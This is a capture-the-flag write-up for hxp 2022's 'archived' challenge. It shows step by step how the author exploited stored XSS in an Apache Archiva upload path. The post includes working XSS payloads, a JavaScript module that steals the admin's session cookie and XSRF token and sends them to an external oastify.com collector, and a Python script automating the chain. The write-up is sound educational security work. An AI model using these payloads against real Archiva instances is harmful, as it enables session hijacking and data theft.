hxp 2022 - archived

·

5 min read

archived

  • chall: archived by sandr0

  • difficulty: easy

  • description: I’m using this super secure big company open source software, what could go wrong?

Two credentials are provided, admin and regular user.

The challenge consists of a server and an admin bot. So it is probably an XSS challenge.

Right away this screen is giving me some old PHP website vibes so I log in, and look around a bit but nothing stands out. it just looks like some kind of repository manager.

So I went googling for old vulns/writeups but there were none for the chall version. after that, I took a look at the provided files and found out that the admin bot visits the /repository/internal path

This path looks like a directory listing. which is probably vulnerable to XSS.

So how do we create an entry on this page? there are very limited options for a non-admin user.

Upload artifact stands out between the options there.

This page allows uploading files to one of the already existing repositories. in hindsight, I should probably test if I can upload some reverse shell but I kinda just tunnel-visioned on the XSS and after creating and uploading a file we can check that it is indeed vulnerable to XSS.

So the exploit plan is:

  • create XSS payload through the upload page

  • get the admin cookie

  • ???

Thankfully the chall gives us an admin acc.

The admin acc has a bunch of options but I just focused on the repository part.

In the repository tab, the admin can add repositories and use a local path so if we set it to / we have access to the whole file system through the /repository/:repo endpoint

so the exploit is now:

  • create XSS payload through the upload page

  • get admin cookie

  • create repo

  • get flag

Making the exploit was kind of a struggle because I was trying to do the whole chain in javascript. The first problem was not able to add slashes. like in

fetch("http://localhost/something");

I think this is a trivial problem for more experienced CTF players but I got stuck in this for a bit.

I tried using base64 to add the payload and that worked although base64 can also have slashes. I then tried to include a base64url encode/decode to handle the slashes and I got a 500 error.

The problem was that if the path segment had more than 255 chars it wouldn't work.

big payload example that i was using:

http://localhost:8055/restServices/archivaUiServices/fileUploadService/save/internal/%22%3E%3Cimg%20onerror=%22fetch(atob('bGV0IGJvZHkgPSB7ImlkIjoibXlyZXBvIiwibmFtZSI6Im15cmVwbyIsImxheW91dCI6ImRlZmF1bHQiLCJsb2NhdGlvbiI6Ii8iLCJjcm9uRXhwcmVzc2lvbiI6IjAgMCAqICogKiA_Iiwic2Nhbm5lZCI6dHJ1ZSwic25hcHNob3RzIjpmYWxzZSwicmVsZWFzZXMiOmZhbHNlLCJibG9ja1JlZGVwbG95bWVudHMiOmZhbHNlLCJza2lwUGFja2VkSW5kZXhDcmVhdGlvbiI6ZmFsc2UsIm1vZGlmaWVkIjp0cnVlfTsKICBmZXRjaCgnaHR0cDovL2xvY2FsaG9zdDo4MDU1L3Jlc3RTZXJ2aWNlcy9hcmNoaXZhU2VydmljZXMvbWFuYWdlZFJlcG9zaXRvcmllc1NlcnZpY2UvYWRkTWFuYWdlZFJlcG9zaXRvcnknLCB7bWV0aG9kOiAnUE9TVCcsIGJvZHk6IGJvZHl9KTsKICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7CiAgICBmZXRjaCgnaHR0cDovL2xvY2FsaG9zdDo4MDU1L3JlcG9zaXRvcnkvbXlyZXBvL2ZsYWcudHh0JykKICB9LCA1MDAp'))%22%20src=%22x1678548818692%22%3E%3Cdiv%20id=%22x/2/1/1?_=1678542318133

After struggling a bit I remember that I can upload files to the server. so I wouldn't need to have a big string on the path. I could just upload a js file and call the file from my XSS payload.

This worked out and made me feel quite clever.

You could choose where to upload the file since you controlled every path segment from /repository/internal/js1/1/1/1-1.5.js and to include the script file from the img tag I was using:

// base64:
// import("./js1/1/1/1-1.5.js").then(s=>{s.run("localhost:8055")});
x"><img%20src="x"%20onerror="javascript:eval(atob('aW1wb3J0KCIuL2pzMS8xLzEvMS0xLjUuanMiKS50aGVuKHM9PntzLnJ1bigibG9jYWxob3N0OjgwNTUiKX0pOw'))">

and the actual file:

export async function run() {
  // some js
}

so I tried doing the whole exploit chain on js but it wouldn't work. for some reason, I could not create a repo that way. I keep getting a TypeError: failed to fetch. here is the whole chain file I used:

export function run(host) {
    let archiva = document.cookie.split(";").filter(e => e.indexOf('archiva') != -1)[0].trim().split("=")[1]
    let archiva_parsed = JSON.parse(decodeURIComponent(archiva))["validationToken"]
    let session = document.cookie.split(";").filter(e => e.indexOf('JSESSION') != -1)[0].trim()

    let body = JSON.stringify({
        "id": "myrepo",
        "name": "myrepo",
        "layout": "default",
        "location": "/",
        "cronExpression": "0 0 * * * ?",
        "scanned": true,
        "snapshots": false,
        "releases": false,
        "blockRedeployments": false,
        "skipPackedIndexCreation": false,
        "modified": true
    });

    fetch(`http://${host}/restServices/archivaServices/managedRepositoriesService/addManagedRepository`, {
        method: "POST",
        body: body,
        credentials: "include",
        headers: {
            "Content-Type": "application/json",
            "X-XSRF-TOKEN": archiva_parsed
        }
    }).then(_ => {
        fetch(`http://${host}/repository/myrepo/flag.txt`, {
            method: "GET",
            credentials: 'same-origin'
        })
        .then(res => {
          res.text().then(flag => {
            fetch(`https://uxv39e6gvji5grql1rqnf9y3hunlbmzb.oastify.com/${encodeURIComponent(flag)}`, {
                method: "GET",
                mode: 'no-cors'
            })
          })
        })
    }).catch(_ => {});
}

This would work if I manually visited the page but not when the bot did for some reason that I could not figure out.

After struggling with the whole chain for a bit i realized i just needed to get the admin JSESSION cookie. which I already had accomplished hours ago.

so the exploit remained the same but I did the last 2 parts manually:

  • automated:

    • create XSS payload through the upload page

    • call the admin bot

  • manually:

    • get session

  • create repo

  • get flag

final exploit:

import requests
import subprocess
import base64

host = "localhost:8055"
username = "hxp"
password = "hxp"

with open("exploit.js", "r") as f:
    file = f.read()


headers = {
    "Authorization": f"Basic {base64.b64encode((f'{username}:{password}').encode()).decode('utf-8')}",
    "X-XSRF-TOKEN": "sWHpbHMVGUgrA36mnBa1oNs4Z5ceTqRDx9i0Syewr+Ox1WuPmor+thpwNKe9A/4CMHVsdslsRCbhdW+pq0Yvn9JG2OEFV4DDqyTr+7mJ4L6eLGQIOpGoonQl1Dl0yssLRQedjJh/XAwWKe6sk7Nu/rotn6hBBCeJ3gIrE4o5+tTQcw2Bfpzu/a+wr5xfb+cC9F+PesJbDmPlglFZivcMI+vEpZRpasZciJ/M8KD5fZZys5Vw9OnHik6ykGfxIXLhUiO5sKQ3HKjz56Qqq8s9LtKDWecEdWyOTkhZTCNiTk61s3XiqwxuiI9XmBob82VrqQKj8KxaFC3CkubWPwTq9Q==",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36",
    "Origin": f"http://{host}",
}


def login():
    data = {
        "username": "ctf",
        "password": "H4v3Fun",
    }

    response = requests.post(
        f"http://{host}/restServices/redbackServices/loginService/logIn",
        headers=headers,
        json=data,
    )

    print(headers)
    print(response.request.body)
    print(response)
    print(response.text)
    print(response.headers["Set-Cookie"].split("=")[1].split(";")[0])
    return response.headers["Set-Cookie"].split("=")[1].split(";")[0]


cookies = {
    "JSESSIONID": login(),
}


def upload():
    url = f"http://{host}/restServices/archivaUiServices/fileUploadService"

    data = {
        "pomFile": "false",
        "classifier": "",
        "packaging": "",
    }

    files = {"files[]": ("blank.js", file, "text/javascript")}

    response = requests.post(
        url, headers=headers, data=data, files=files, cookies=cookies
    )
    print(f"upload: { response }")
    print(response.text)


def link_file():
    response = requests.get(
        f"http://{host}/restServices/archivaUiServices/fileUploadService/save/internal/js/1/1/1.js",
        cookies=cookies,
        headers=headers,
    )
    print(f"link_file: { response }")
    print(response.text)


def xss():
    exploit = base64.b64encode(
        f"""import("./js/1/1/1-1.1.js").then(s=>{{s.run("{host}")}});""".encode()
    ).decode("utf-8")

    print(exploit)
    response = requests.get(
        f"""http://{host}/restServices/archivaUiServices/fileUploadService/save/internal/x"><img%20src="x"%20onerror="javascript:eval(atob('{exploit}'))">/exploit/2/1""",
        cookies=cookies,
        headers=headers,
    )

    print(f"xss: { response }")
    print(response.text)


upload()
link_file()
upload()
xss()
print(subprocess.check_output(f"""nc {host.split(":")[0]} 9420""", shell=True))
export async function run(host) {
    let archiva = document.cookie.split(";").filter(e => e.indexOf('archiva') != -1)[0].trim().split("=")[1]
    let archiva_parsed = JSON.parse(decodeURIComponent(archiva))["validationToken"]
    let session = document.cookie.split(";").filter(e => e.indexOf('JSESSION') != -1)[0].trim()


    fetch(`http://uxv39e6gvji5grql1rqnf9y3hunlbmzb.oastify.com/parsed/${encodeURIComponent(archiva_parsed)}/session/${encodeURIComponent(session)}`, {
        mode: 'no-cors'
    });
}

flag: hxp{xSS_h3re_Xs5_ther3_X5S_ev3rywhere}

Note 1: After reading the hxp team writeup I realized I could just do the last steps through python which is extremely obvious. 😅 hxp-CTF-2022-archived

Did you find this article valuable?

Support shafouz by becoming a sponsor. Any amount is appreciated!